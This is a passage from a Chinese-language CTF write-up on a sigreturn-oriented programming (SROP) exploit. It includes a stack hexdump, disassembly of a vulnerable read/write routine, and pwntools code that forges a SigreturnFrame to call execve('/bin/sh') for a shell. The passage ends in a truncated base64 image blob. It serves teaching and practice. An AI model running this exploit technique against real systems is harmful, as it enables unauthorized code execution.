<p>从头开始我们还要一次输入机会)</p>
<p>为什么接受32个字符呢 我们传入24 但是距离泄露地址有0x20距离</p>
<p>0x00到0x10是废物数据一共8个字节</p>
<p>调试内容如下</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">00000000  2f 62 69 6e  2f 73 68 00  00 00 00 00  00 00 00 00  │&#x2F;bin│&#x2F;sh·│····│····│</span><br><span class="line">00000010  ed 04 40 00  00 00 00 00  36 05 40 00  00 00 00 00  │··@·│····│6·@·│····│</span><br><span class="line">00000020  b8 9d 82 93  ff 7f 00 00  00 00 00 00  01 00 00 00  │····│····│····│····│</span><br><span class="line">00000030</span><br><span class="line"></span><br></pre></td></tr></table></figure>


<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">sigframe = SigreturnFrame()</span><br><span class="line">sigframe.rax = constants.SYS_execve</span><br><span class="line">sigframe.rdi = stack_addr - <span class="number">0x118</span>  </span><br><span class="line">sigframe.rsi = <span class="number">0x0</span></span><br><span class="line">sigframe.rdx = <span class="number">0x0</span></span><br><span class="line">sigframe.rsp = stack_addr</span><br><span class="line">sigframe.rip = syscall_ret</span><br><span class="line"></span><br><span class="line">p.send(<span class="string">&quot;/bin/sh&quot;</span>+<span class="string">&quot;\x00&quot;</span>*(<span class="number">0x1</span>+<span class="number">0x8</span>)+p64(sigreturn_addr)+p64(syscall_ret)+<span class="built_in">str</span>(sigframe))</span><br></pre></td></tr></table></figure>
<p>SigreturnFrame()函数我们设置参数</p>
<p>寄存器rax是返回值的存储在这里设置系统调用号</p>
<p>这里</p>
<p>sigframe.rax = constants.SYS_execve等价于</p>
<p>sigframe.rax = 0x3B</p>
<p>因为execve调用号为0X3B=59</p>
<p>execve(x,y,z)有三个参数第一个是命令，后面两个用0补充，所以 rsi和rdx都是0</p>
<p>寄存器设置为变量输入地址会把该地址内存上的东西赋给rax上的函数execve</p>
<p>寄存器rsp是栈指针让他去指向被泄露地址</p>
<p>寄存器rip指向下一条指令的地址这里用syscall</p>
<p>（为了避免误会说一下，这个下一条指令指的是执行完execve，system调用最终依然是依靠execve（）实现调用的）</p>
<p>execve system二者关系详解</p>
<p><a target="_blank" rel="noopener" href="https://blog.csdn.net/lenk2010/article/details/20049289">https://blog.csdn.net/lenk2010/article/details/20049289</a></p>
<p>文章比较复杂基础不好的可以直接略过没事的</p>
<p>2个syscall随便选一个都可以</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">; __unwind &#123;</span><br><span class="line">.text:00000000004004ED                 push    rbp</span><br><span class="line">.text:00000000004004EE                 mov     rbp, rsp</span><br><span class="line">.text:00000000004004F1                 xor     rax, rax</span><br><span class="line">.text:00000000004004F4                 mov     edx, 400h       ; count</span><br><span class="line">.text:00000000004004F9                 lea     rsi, [rsp+buf]  ; buf</span><br><span class="line">.text:00000000004004FE                 mov     rdi, rax        ; fd</span><br><span class="line">.text:0000000000400501                 syscall                 ; LINUX - sys_read</span><br><span class="line">.text:0000000000400503                 mov     rax, 1</span><br><span class="line">.text:000000000040050A                 mov     edx, 30h ; &#39;0&#39;  ; count</span><br><span class="line">.text:000000000040050F                 lea     rsi, [rsp+buf]  ; buf</span><br><span class="line">.text:0000000000400514                 mov     rdi, rax        ; fd</span><br><span class="line">.text:0000000000400517                 syscall                 ; LINUX - sys_write</span><br><span class="line">.text:0000000000400519                 retn</span><br><span class="line">.text:0000000000400519 vuln            endp ; sp-analysis failed</span><br></pre></td></tr></table></figure>


<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">p.send(<span class="string">&quot;/bin/sh&quot;</span>+<span class="string">&quot;\x00&quot;</span>*(<span class="number">0x1</span>+<span class="number">0x8</span>)+p64(sigreturn_addr)+p64(syscall_ret)+<span class="built_in">str</span>(sigframe))</span><br></pre></td></tr></table></figure>


<p>传入命令/bin/sh 1个\x00用来截断剩下的凑数然后传入sigreturn_addr接着调用syscall来执行手动设置的fake sigframe</p>
<p>结果</p>
<p><img src="%0A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%0AfrwITbkeOk0mfn9vJNpJvzxVh2qu6gnB2Nk/4MSlApQLBuPj0AsvHcdPc0cj%0A0tK+xgGe+Auywye4rMvBlz38ql4L7bQUF8qz8fUA2f0wxF9y07drxPpWYbj5%0ASVrSPoqbshUnM0ug05Yg59A2LOxs+QdKDdrIsB7WU6frseEqwON4sR7ZusTv%0A8IS5P+PkhRsoFX+nCCU3kH7gW3w8oLP1+9oOx4v1sB7za6yH9bAemzbBjb2w%0Aw9PPeMmsdO87i2uePljwgIfDupX5IqrPQmzbcwHXi3SoNAgovXYRh94dWTUD%0AMNh3HJZtO4Gr10uhEwSU38xHzplj2Dy8vd35hReiBq/CwfMFqBDPV7SFGTi2%0AaITpnMimnXNq76UX2HwUVu26gpsVemjF86/ji83nX+IyNTUH/F9fzFlzGFc1%0AOujLC5GeetoY4B2ZYr9dRER0LzgO8B4agc3ZAtLe6Vvj/yt0V/xV9TTsjRVn%0ABOSuHObwJPKeYj3OsR7nWI9zrMc51uMc63GO9TjHepxjPc6xHkXtGnpgXjPp%0AIRa+2PGYB8IU2pB6gT5v4ai2FCnxSjPjiYjobnMY4D3bZxOu6y5iRbjz/7Nz%0Ar/x19Xhh0PzzEHI2ItHyfwb/UqzHOdbjHOtxjvU4x3qcYz3OsR7nWI9zrMc5%0A1uPIhKa+xqfQbq4T+6U+8cPgkfMwc8gIjIwYiNH9p2H17lzoc79F8lPSJdBK%0A7yEiorvJQYDXCuM/uwHhjyUYZPNo+L/KX1tPUNgHOK/Lw9Y+LRWX32usxznW%0A4xzrcY71OMd6nGM9zrEe51iPc6zHOdZDtcq9Paau/h1X88ugNxig1eTg7E9r%0AMaNtYA0vQSYiotri9CEWRERERERERERE9NdigEdERERERERERFSHMcAjIiIi%0AIiIiIiKqwxjg0V/DzR9DEj7G+kn90FppORERERERERERGTkJ8LwQs+ACDLD8%0A3MLNdWMQIntzvdR4NL4uqDRvk/ijv4iV7erGk3adeqQj4vuNxuCn/yZPfXLv%0AgIX7BWi3TUSo0vKa+rvtHyIiIiIiIiIiM5cBnvbPFRjt0QYRzcLQuYlv1fIA%0Ady+s8fBFuo8fCvz8kO3ti/1NvTGlkbjM0oebJ1Z5+UEjLrd36SlPBMv6uST2%0Ak+frhxvif896+GDVY55ob+4n5GFv5InvueHhhb7m1wIbeeGg2L7Qxwfj3czr%0A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